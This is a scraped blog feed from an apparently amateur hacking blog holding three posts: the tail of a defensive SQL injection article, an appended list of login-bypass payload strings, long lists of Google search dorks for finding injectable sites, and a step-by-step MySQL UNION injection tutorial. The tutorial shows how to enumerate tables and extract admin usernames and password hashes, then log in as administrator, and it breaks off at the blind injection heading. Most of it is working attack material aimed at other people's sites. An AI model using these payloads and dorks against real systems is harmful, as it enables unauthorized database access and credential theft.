and ran it through stripQuotes and then killChars, it would end up looking like this:&lt;br /&gt;
&lt;br /&gt;
prodName from products where id=1 cmdshell &#39;&#39;format c: &lt;br /&gt;
/q /yes &#39;&#39; database myDB&lt;br /&gt;
&lt;br /&gt;
...which is basically useless, and will return no records from the query.&lt;br /&gt;
&lt;br /&gt;
Limit the Length of User Input&lt;br /&gt;
&lt;br /&gt;
It&#39;s no good having a text box on a form that can accept 50 characters if the field you&#39;ll compare it against can only accept 10. By keeping all text boxes and form fields as short as possible, you&#39;re taking away the number of characters that can be used to formulate an SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
If you&#39;re accepting a querystring value for a product ID or the like, always use a function to check if the value is actually numeric, such as the IsNumeric() function for ASP. If the value isn&#39;t numeric, then either raise an error or redirect the user to another page where they can choose a product.&lt;br /&gt;
&lt;br /&gt;
Also, always try to post your forms with the method attribute set to POST, so clued-up users don&#39;t get any ideas --- they might if they saw your form variables tacked onto the end of the URL. &lt;br /&gt;
&lt;br /&gt;
Conclusion&lt;br /&gt;
In this article we&#39;ve seen what an SQL injection attack is and also how to tamper with forms and URLs to product the results of an attack.&lt;br /&gt;
&lt;br /&gt;
It&#39;s not always possible to guard against every type of SQL injection attack, however, hopefully you now know about the various types of SQL injection attacks that exist and have also planned ways to combat them on your servers.&lt;br /&gt;
&lt;br /&gt;
Although we&#39;ve only looked at SQL injection attacks with Microsoft SQL server in this article, keep in mind that no database is safe: SQL injection attacks can also occur on MySQL and Oracle database servers -- among others.&lt;br /&gt;
&lt;br /&gt;
------ This Article belongs to : http://articles.site...on-attacks-safe/ ------ &lt;br /&gt;
&lt;br /&gt;
Here is the a Complete List of SQL Injection Strings &amp;amp; how to use it to find vulnerable sites (this is not belong to the article above ) : &lt;br /&gt;
[code]inurl:index.php?id=&lt;br /&gt;
inurl:trainers.php?id=&lt;br /&gt;
inurl:buy.php?category=&lt;br /&gt;
inurl:article.php?ID=&lt;br /&gt;
inurl:play_old.php?id=&lt;br /&gt;
inurl:declaration_more.php?decl_id=&lt;br /&gt;
inurl:pageid=&lt;br /&gt;
inurl:games.php?id=&lt;br /&gt;
inurl:page.php?file=&lt;br /&gt;
inurl:newsDetail.php?id=&lt;br /&gt;
inurl:gallery.php?id=&lt;br /&gt;
...................................................&lt;br /&gt;
&lt;br /&gt;
admin&#39;--&lt;br /&gt;
&#39; or 0=0 --&lt;br /&gt;
&quot; or 0=0 --&lt;br /&gt;
or 0=0 --&lt;br /&gt;
&#39; or 0=0 #&lt;br /&gt;
&quot; or 0=0 #&lt;br /&gt;
or 0=0 #&lt;br /&gt;
&#39; or &#39;x&#39;=&#39;x&lt;br /&gt;
&quot; or &quot;x&quot;=&quot;x&lt;br /&gt;
&#39;) or (&#39;x&#39;=&#39;x&lt;br /&gt;
&#39; or 1=1--&lt;br /&gt;
&quot; or 1=1--&lt;br /&gt;
or 1=1--&lt;br /&gt;
&#39; or a=a--&lt;br /&gt;
&quot; or &quot;a&quot;=&quot;a&lt;br /&gt;
&#39;) or (&#39;a&#39;=&#39;a&lt;br /&gt;
&quot;) or (&quot;a&quot;=&quot;a&lt;br /&gt;
hi&quot; or &quot;a&quot;=&quot;a&lt;br /&gt;
hi&quot; or 1=1 --&lt;br /&gt;
hi&#39; or 1=1 --&lt;br /&gt;
hi&#39; or &#39;a&#39;=&#39;a&lt;br /&gt;
hi&#39;) or (&#39;a&#39;=&#39;a&lt;br /&gt;
hi&quot;) or (&quot;a&quot;=&quot;a&lt;br /&gt;
&lt;br /&gt;
use those 2 together in front of the (=) sign like this : &lt;br /&gt;
&lt;br /&gt;
www.somesiteindex.php?id= admin&#39;-- &lt;br /&gt;
or&lt;br /&gt;
www.somesiteplay_old.php?id=&quot;a&quot;=&quot;a&lt;br /&gt;
&lt;br /&gt;
if you get error like this (you have an error in your sql syntax ; check the manual that correspond to you MYSQl ) , so this site is vulnerable to SQLi .&lt;br /&gt;
&lt;br /&gt;
I hope we always share good stuff here .&lt;br /&gt;
http://www.mysite.com/products.asp?productId=2&lt;br /&gt;
www.mysite.com&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
pls post ur queries.....!!!! if any occurs ....n wait for next update !!! from hackeramit4u@gmail.com&lt;br /&gt;
____________________________________________________________________________&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/1650474984841294762/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/full-sql-injection-tutorial-mysql_09.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/1650474984841294762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/1650474984841294762'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/full-sql-injection-tutorial-mysql_09.html' title='Full SQL Injection Tutorial (MySQL) Update with Basics'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-3707438246009602454</id><published>2011-02-09T21:38:00.001-08:00</published><updated>2011-02-09T21:38:26.271-08:00</updated><title type='text'>Full SQL Injection Tutorial (MySQL) Dorks</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;inurl:trainers.php?id=&lt;br /&gt;
inurl:buy.php?category=&lt;br /&gt;
inurl:article.php?ID=&lt;br /&gt;
inurl:play_old.php?id=&lt;br /&gt;
inurl:declaration_more.php?decl_id=&lt;br /&gt;
inurl:pageid=&lt;br /&gt;
inurl:games.php?id=&lt;br /&gt;
inurl:page.php?file=&lt;br /&gt;
inurl:newsDetail.php?id=&lt;br /&gt;
inurl:gallery.php?id=&lt;br /&gt;
inurl:article.php?id=&lt;br /&gt;
inurl:show.php?id=&lt;br /&gt;
inurl:staff_id=&lt;br /&gt;
inurl:newsitem.php?num=&lt;br /&gt;
inurl:readnews.php?id=&lt;br /&gt;
inurl:top10.php?cat=&lt;br /&gt;
inurl:historialeer.php?num=&lt;br /&gt;
inurl:reagir.php?num=&lt;br /&gt;
inurl:Stray-Questions-View.php?num=&lt;br /&gt;
inurl:forum_bds.php?num=&lt;br /&gt;
inurl:game.php?id=&lt;br /&gt;
inurl:view_product.php?id=&lt;br /&gt;
inurl:newsone.php?id=&lt;br /&gt;
inurl:sw_comment.php?id=&lt;br /&gt;
inurl:news.php?id=&lt;br /&gt;
inurl:avd_start.php?avd=&lt;br /&gt;
inurl:event.php?id=&lt;br /&gt;
inurl:product-item.php?id=&lt;br /&gt;
inurl:sql.php?id=&lt;br /&gt;
inurl:news_view.php?id=&lt;br /&gt;
inurl:select_biblio.php?id=&lt;br /&gt;
inurl:humor.php?id=&lt;br /&gt;
inurl:aboutbook.php?id=&lt;br /&gt;
inurl:ogl_inet.php?ogl_id=&lt;br /&gt;
inurl:fiche_spectacle.php?id=&lt;br /&gt;
inurl:communique_detail.php?id=&lt;br /&gt;
inurl:sem.php3?id=&lt;br /&gt;
inurl:kategorie.php4?id=&lt;br /&gt;
inurl:news.php?id=&lt;br /&gt;
inurl:index.php?id=&lt;br /&gt;
inurl:faq2.php?id=&lt;br /&gt;
inurl:show_an.php?id=&lt;br /&gt;
inurl:preview.php?id=&lt;br /&gt;
inurl:loadpsb.php?id=&lt;br /&gt;
inurl:opinions.php?id=&lt;br /&gt;
inurl:spr.php?id=&lt;br /&gt;
inurl:pages.php?id=&lt;br /&gt;
inurl:announce.php?id=&lt;br /&gt;
inurl:clanek.php4?id=&lt;br /&gt;
inurl:participant.php?id=&lt;br /&gt;
inurl:download.php?id=&lt;br /&gt;
inurl:main.php?id=&lt;br /&gt;
inurl:review.php?id=&lt;br /&gt;
inurl:chappies.php?id=&lt;br /&gt;
inurl:read.php?id=&lt;br /&gt;
inurl:prod_detail.php?id=&lt;br /&gt;
inurl:viewphoto.php?id=&lt;br /&gt;
inurl:article.php?id=&lt;br /&gt;
inurl:person.php?id=&lt;br /&gt;
inurl:productinfo.php?id=&lt;br /&gt;
inurl:showimg.php?id=&lt;br /&gt;
inurl:view.php?id=&lt;br /&gt;
inurl:website.php?id=&lt;br /&gt;
inurl:hosting_info.php?id=&lt;br /&gt;
inurl:gallery.php?id=&lt;br /&gt;
inurl:rub.php?idr=&lt;br /&gt;
inurl:view_faq.php?id=&lt;br /&gt;
inurl:artikelinfo.php?id=&lt;br /&gt;
inurl:detail.php?ID=&lt;br /&gt;
inurl:index.php?=&lt;br /&gt;
inurl:profile_view.php?id=&lt;br /&gt;
inurl:category.php?id=&lt;br /&gt;
inurl:publications.php?id=&lt;br /&gt;
inurl:fellows.php?id=&lt;br /&gt;
inurl:downloads_info.php?id=&lt;br /&gt;
inurl:prod_info.php?id=&lt;br /&gt;
inurl:shop.php?do=part&amp;amp;id=&lt;br /&gt;
inurl:productinfo.php?id=&lt;br /&gt;
inurl:collectionitem.php?id=&lt;br /&gt;
inurl:band_info.php?id=&lt;br /&gt;
inurl:product.php?id=&lt;br /&gt;
inurl:releases.php?id=&lt;br /&gt;
inurl:ray.php?id=&lt;br /&gt;
inurl:produit.php?id=&lt;br /&gt;
inurl:pop.php?id=&lt;br /&gt;
inurl:shopping.php?id=&lt;br /&gt;
inurl:productdetail.php?id=&lt;br /&gt;
inurl:post.php?id=&lt;br /&gt;
inurl:viewshowdetail.php?id=&lt;br /&gt;
inurl:clubpage.php?id=&lt;br /&gt;
inurl:memberInfo.php?id=&lt;br /&gt;
inurl:section.php?id=&lt;br /&gt;
inurl:theme.php?id=&lt;br /&gt;
inurl:page.php?id=&lt;br /&gt;
inurl:shredder-categories.php?id=&lt;br /&gt;
inurl:tradeCategory.php?id=&lt;br /&gt;
inurl:product_ranges_view.php?ID=&lt;br /&gt;
inurl:shop_category.php?id=&lt;br /&gt;
inurl:transcript.php?id=&lt;br /&gt;
inurl:channel_id=&lt;br /&gt;
inurl:item_id=&lt;br /&gt;
inurl:newsid=&lt;br /&gt;
inurl:trainers.php?id=&lt;br /&gt;
inurl:news-full.php?id=&lt;br /&gt;
inurl:news_display.php?getid=&lt;br /&gt;
inurl:index2.php?option=&lt;br /&gt;
inurl:readnews.php?id=&lt;br /&gt;
inurl:top10.php?cat=&lt;br /&gt;
inurl:newsone.php?id=&lt;br /&gt;
inurl:event.php?id=&lt;br /&gt;
inurl:product-item.php?id=&lt;br /&gt;
inurl:sql.php?id=&lt;br /&gt;
inurl:aboutbook.php?id=&lt;br /&gt;
inurl:preview.php?id=&lt;br /&gt;
inurl:loadpsb.php?id=&lt;br /&gt;
inurl:pages.php?id=&lt;br /&gt;
inurl:material.php?id=&lt;br /&gt;
inurl:clanek.php4?id=&lt;br /&gt;
inurl:announce.php?id=&lt;br /&gt;
inurl:chappies.php?id=&lt;br /&gt;
inurl:read.php?id=&lt;br /&gt;
inurl:viewapp.php?id=&lt;br /&gt;
inurl:viewphoto.php?id=&lt;br /&gt;
inurl:rub.php?idr=&lt;br /&gt;
inurl:galeri_info.php?l=&lt;br /&gt;
inurl:review.php?id=&lt;br /&gt;
inurl:iniziativa.php?in=&lt;br /&gt;
inurl:curriculum.php?id=&lt;br /&gt;
inurl:labels.php?id=&lt;br /&gt;
inurl:story.php?id=&lt;br /&gt;
inurl:look.php?ID=&lt;br /&gt;
inurl:newsone.php?id=&lt;br /&gt;
inurl:aboutbook.php?id=&lt;br /&gt;
inurl:material.php?id=&lt;br /&gt;
inurl:opinions.php?id=&lt;br /&gt;
inurl:announce.php?id=&lt;br /&gt;
inurl:rub.php?idr=&lt;br /&gt;
inurl:galeri_info.php?l=&lt;br /&gt;
inurl:tekst.php?idt=&lt;br /&gt;
inurl:newscat.php?id=&lt;br /&gt;
inurl:newsticker_info.php?idn=&lt;br /&gt;
inurl:rubrika.php?idr=&lt;br /&gt;
inurl:rubp.php?idr=&lt;br /&gt;
inurl:offer.php?idf=&lt;br /&gt;
inurl:art.php?idm=&lt;br /&gt;
inurl:title.php?id= &lt;br /&gt;
buy.php?category=&lt;br /&gt;
article.php?ID=&lt;br /&gt;
play_old.php?id=&lt;br /&gt;
declaration_more.php?decl_id=&lt;br /&gt;
Pageid=&lt;br /&gt;
games.php?id=&lt;br /&gt;
page.php?file=&lt;br /&gt;
newsDetail.php?id=&lt;br /&gt;
gallery.php?id=&lt;br /&gt;
article.php?id=&lt;br /&gt;
play_old.php?id=&lt;br /&gt;
show.php?id=&lt;br /&gt;
staff_id=&lt;br /&gt;
newsitem.php?num=&lt;br /&gt;
readnews.php?id=&lt;br /&gt;
top10.php?cat=&lt;br /&gt;
historialeer.php?num=&lt;br /&gt;
reagir.php?num=&lt;br /&gt;
forum_bds.php?num=&lt;br /&gt;
game.php?id=&lt;br /&gt;
view_product.php?id=&lt;br /&gt;
newsone.php?id=&lt;br /&gt;
sw_comment.php?id=&lt;br /&gt;
news.php?id=&lt;br /&gt;
avd_start.php?avd=&lt;br /&gt;
event.php?id=&lt;br /&gt;
product-item.php?id=&lt;br /&gt;
sql.php?id=&lt;br /&gt;
news_view.php?id=&lt;br /&gt;
select_biblio.php?id=&lt;br /&gt;
humor.php?id=&lt;br /&gt;
aboutbook.php?id=&lt;br /&gt;
fiche_spectacle.php?id=&lt;br /&gt;
communique_detail.php?id=&lt;br /&gt;
sem.php3?id=&lt;br /&gt;
kategorie.php4?id=&lt;br /&gt;
faq2.php?id=&lt;br /&gt;
show_an.php?id=&lt;br /&gt;
preview.php?id=&lt;br /&gt;
loadpsb.php?id=&lt;br /&gt;
opinions.php?id=&lt;br /&gt;
spr.php?id=&lt;br /&gt;
pages.php?id=&lt;br /&gt;
announce.php?id=&lt;br /&gt;
clanek.php4?id=&lt;br /&gt;
participant.php?id=&lt;br /&gt;
download.php?id=&lt;br /&gt;
main.php?id=&lt;br /&gt;
review.php?id=&lt;br /&gt;
chappies.php?id=&lt;br /&gt;
read.php?id=&lt;br /&gt;
prod_detail.php?id=&lt;br /&gt;
viewphoto.php?id=&lt;br /&gt;
article.php?id=&lt;br /&gt;
play_old.php?id=&lt;br /&gt;
declaration_more.php?decl_id=&lt;br /&gt;
category.php?id=&lt;br /&gt;
publications.php?id=&lt;br /&gt;
fellows.php?id=&lt;br /&gt;
downloads_info.php?id=&lt;br /&gt;
prod_info.php?id=&lt;br /&gt;
shop.php?do=part&amp;amp;id=&lt;br /&gt;
Productinfo.php?id=&lt;br /&gt;
website.php?id=&lt;br /&gt;
Productinfo.php?id=&lt;br /&gt;
showimg.php?id=&lt;br /&gt;
view.php?id=&lt;br /&gt;
rub.php?idr=&lt;br /&gt;
view_faq.php?id=&lt;br /&gt;
artikelinfo.php?id=&lt;br /&gt;
detail.php?ID=&lt;br /&gt;
collectionitem.php?id=&lt;br /&gt;
band_info.php?id=&lt;br /&gt;
product.php?id=&lt;br /&gt;
releases.php?id=&lt;br /&gt;
ray.php?id=&lt;br /&gt;
produit.php?id=&lt;br /&gt;
pop.php?id=&lt;br /&gt;
shopping.php?id=&lt;br /&gt;
productdetail.php?id=&lt;br /&gt;
post.php?id=&lt;br /&gt;
viewshowdetail.php?id=&lt;br /&gt;
clubpage.php?id=&lt;br /&gt;
memberInfo.php?id=&lt;br /&gt;
section.php?id=&lt;br /&gt;
theme.php?id=&lt;br /&gt;
page.php?id=&lt;br /&gt;
shredder-categories.php?id=&lt;br /&gt;
tradeCategory.php?id=&lt;br /&gt;
shop_category.php?id=&lt;br /&gt;
transcript.php?id=&lt;br /&gt;
channel_id=&lt;br /&gt;
item_id=&lt;br /&gt;
newsid=&lt;br /&gt;
trainers.php?id=&lt;br /&gt;
buy.php?category=&lt;br /&gt;
article.php?ID=&lt;br /&gt;
play_old.php?id=&lt;br /&gt;
iniziativa.php?in=&lt;br /&gt;
detail_new.php?id=&lt;br /&gt;
tekst.php?idt=&lt;br /&gt;
newscat.php?id=&lt;br /&gt;
newsticker_info.php?idn=&lt;br /&gt;
rubrika.php?idr=&lt;br /&gt;
rubp.php?idr=&lt;br /&gt;
offer.php?idf=&lt;br /&gt;
hotel.php?id=&lt;br /&gt;
art.php?idm=&lt;br /&gt;
title.php?id=&lt;br /&gt;
look.php?ID=&lt;br /&gt;
story.php?id=&lt;br /&gt;
labels.php?id=&lt;br /&gt;
review.php?id=&lt;br /&gt;
chappies.php?id=&lt;br /&gt;
news-full.php?id=&lt;br /&gt;
news_display.php?getid=&lt;br /&gt;
index2.php?option=&lt;br /&gt;
ages.php?id=&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: mysql_fetch_assoc()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: mysql_fetch_array()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: mysql_num_rows()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: session_start()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: getimagesize()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: Unknown()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: pg_exec()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: array_merge()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: mysql_result()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: mysql_num_rows()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: mysql_query()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: filesize()&lt;br /&gt;
&quot;id=&quot; &amp;amp; intext:&quot;Warning: require()&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/3707438246009602454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/full-sql-injection-tutorial-mysql-dorks.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/3707438246009602454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/3707438246009602454'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/full-sql-injection-tutorial-mysql-dorks.html' title='Full SQL Injection Tutorial (MySQL) Dorks'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-4862663900450798341</id><published>2011-02-09T21:33:00.001-08:00</published><updated>2011-02-09T21:37:02.038-08:00</updated><title type='text'>Full SQL Injection Tutorial (MySQL)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;In this tutorial i will describe how sql injection works and how to&lt;br /&gt;
use it to get some useful information.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First of all: What is SQL injection?&lt;br /&gt;
&lt;br /&gt;
It&#39;s one of the most common vulnerability in web applications today.&lt;br /&gt;
It allows attacker to execute database query in url and gain access&lt;br /&gt;
to some confidential information etc...(in shortly).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1.SQL Injection (classic or error based or whatever you call it) :D&lt;br /&gt;
&lt;br /&gt;
2.Blind SQL Injection (the harder part)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So let&#39;s start with some action :D&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1). Check for vulnerability&lt;br /&gt;
&lt;br /&gt;
Let&#39;s say that we have some site like this&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5&lt;br /&gt;
&lt;br /&gt;
Now to test if is vulrnable we add to the end of url &#39; (quote),&lt;br /&gt;
&lt;br /&gt;
and that would be http://www.site.com/news.php?id=5&#39;&lt;br /&gt;
&lt;br /&gt;
so if we get some error like&lt;br /&gt;
&quot;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc...&quot;&lt;br /&gt;
or something similar&lt;br /&gt;
&lt;br /&gt;
that means is vulrnable to sql injection :)&lt;br /&gt;
&lt;br /&gt;
2). Find the number of columns&lt;br /&gt;
&lt;br /&gt;
To find number of columns we use statement ORDER BY (tells database how to order the result)&lt;br /&gt;
&lt;br /&gt;
so how to use it? Well just incrementing the number until we get an error.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 order by 1/* &amp;lt;-- no error&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 order by 2/* &amp;lt;-- no error&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 order by 3/* &amp;lt;-- no error&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 order by 4/* &amp;lt;-- error (we get message like this Unknown column &#39;4&#39; in &#39;order clause&#39; or something like that)&lt;br /&gt;
&lt;br /&gt;
that means that the it has 3 columns, cause we got an error on 4.&lt;br /&gt;
&lt;br /&gt;
3). Check for UNION function&lt;br /&gt;
&lt;br /&gt;
With union we can select more data in one sql statement.&lt;br /&gt;
&lt;br /&gt;
so we have&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )&lt;br /&gt;
&lt;br /&gt;
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)&lt;br /&gt;
&lt;br /&gt;
4). Check for MySQL version&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --&lt;br /&gt;
it&#39;s a comment and it&#39;s important for our query to work properly.&lt;br /&gt;
&lt;br /&gt;
let say that we have number 2 on the screen, now to check for version&lt;br /&gt;
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.&lt;br /&gt;
&lt;br /&gt;
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*&lt;br /&gt;
&lt;br /&gt;
if you get an error &quot;union + illegal mix of collations (IMPLICIT + COERCIBLE) ...&quot;&lt;br /&gt;
&lt;br /&gt;
i didn&#39;t see any paper covering this problem, so i must write it :)&lt;br /&gt;
&lt;br /&gt;
what we need is convert() function&lt;br /&gt;
&lt;br /&gt;
i.e.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*&lt;br /&gt;
&lt;br /&gt;
or with hex() and unhex()&lt;br /&gt;
&lt;br /&gt;
i.e.&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*&lt;br /&gt;
&lt;br /&gt;
and you will get MySQL version :D&lt;br /&gt;
&lt;br /&gt;
5). Getting table and column name&lt;br /&gt;
&lt;br /&gt;
well if the MySQL version is &amp;lt; 5 (i.e 4.1.33, 4.1.12...) &amp;lt;--- later i will describe for MySQL &amp;gt; 5 version.&lt;br /&gt;
we must guess table and column name in most cases.&lt;br /&gt;
&lt;br /&gt;
common table names are: user/s, admin/s, member/s ...&lt;br /&gt;
&lt;br /&gt;
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...&lt;br /&gt;
&lt;br /&gt;
i.e would be&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that&#39;s good :D)&lt;br /&gt;
&lt;br /&gt;
we know that table admin exists...&lt;br /&gt;
&lt;br /&gt;
now to check column names.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)&lt;br /&gt;
&lt;br /&gt;
we get username displayed on screen, example would be admin, or superadmin etc...&lt;br /&gt;
&lt;br /&gt;
now to check if column password exists&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)&lt;br /&gt;
&lt;br /&gt;
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)&lt;br /&gt;
&lt;br /&gt;
i.e md5 hash, mysql hash, sha1...&lt;br /&gt;
&lt;br /&gt;
now we must complete query to look nice :)&lt;br /&gt;
&lt;br /&gt;
for that we can use concat() function (it joins strings)&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*&lt;br /&gt;
&lt;br /&gt;
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)&lt;br /&gt;
&lt;br /&gt;
(there is another way for that, char(58), ascii value for : )&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*&lt;br /&gt;
&lt;br /&gt;
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash&lt;br /&gt;
&lt;br /&gt;
when you have this, you can login like admin or some superuser :D&lt;br /&gt;
&lt;br /&gt;
if can&#39;t guess the right table name, you can always try mysql.user (default)&lt;br /&gt;
&lt;br /&gt;
it has user i password columns, so example would be&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*&lt;br /&gt;
&lt;br /&gt;
6). MySQL 5&lt;br /&gt;
&lt;br /&gt;
Like i said before i&#39;m gonna explain how to get table and column names&lt;br /&gt;
in MySQL &amp;gt; 5.&lt;br /&gt;
&lt;br /&gt;
For this we need information_schema. It holds all tables and columns in database.&lt;br /&gt;
&lt;br /&gt;
to get tables we use table_name and information_schema.tables.&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*&lt;br /&gt;
&lt;br /&gt;
here we replace the our number 2 with table_name to get the first table from information_schema.tables&lt;br /&gt;
&lt;br /&gt;
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*&lt;br /&gt;
&lt;br /&gt;
note that i put 0,1 (get 1 result starting from the 0th)&lt;br /&gt;
&lt;br /&gt;
now to view the second table, we change limit 0,1 to limit 1,1&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*&lt;br /&gt;
&lt;br /&gt;
the second table is displayed.&lt;br /&gt;
&lt;br /&gt;
for third table we put limit 2,1&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*&lt;br /&gt;
&lt;br /&gt;
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D&lt;br /&gt;
&lt;br /&gt;
To get the column names the method is the same.&lt;br /&gt;
&lt;br /&gt;
here we use column_name and information_schema.columns&lt;br /&gt;
&lt;br /&gt;
the method is same as above so example would be&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*&lt;br /&gt;
&lt;br /&gt;
the first column is diplayed.&lt;br /&gt;
&lt;br /&gt;
the second one (we change limit 0,1 to limit 1,1)&lt;br /&gt;
&lt;br /&gt;
ie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*&lt;br /&gt;
&lt;br /&gt;
the second column is displayed, so keep incrementing until you get something like&lt;br /&gt;
&lt;br /&gt;
username,user,login, password, pass, passwd etc... :D&lt;br /&gt;
&lt;br /&gt;
if you wanna display column names for specific table use this query. (where clause)&lt;br /&gt;
&lt;br /&gt;
let&#39;s say that we found table users.&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=&#39;users&#39;/*&lt;br /&gt;
&lt;br /&gt;
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.&lt;br /&gt;
&lt;br /&gt;
Note that this won&#39;t work if the magic quotes is ON.&lt;br /&gt;
&lt;br /&gt;
let&#39;s say that we found colums user, pass and email.&lt;br /&gt;
&lt;br /&gt;
now to complete query to put them all together :D&lt;br /&gt;
&lt;br /&gt;
for that we use concat() , i decribe it earlier.&lt;br /&gt;
&lt;br /&gt;
i.e&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*&lt;br /&gt;
&lt;br /&gt;
what we get here is user:pass:email from table users.&lt;br /&gt;
&lt;br /&gt;
example: admin:hash:whatever@blabla.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
That&#39;s all in this part, now we can proceed on harder part :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Blind SQL Injection&lt;br /&gt;
&lt;br /&gt;
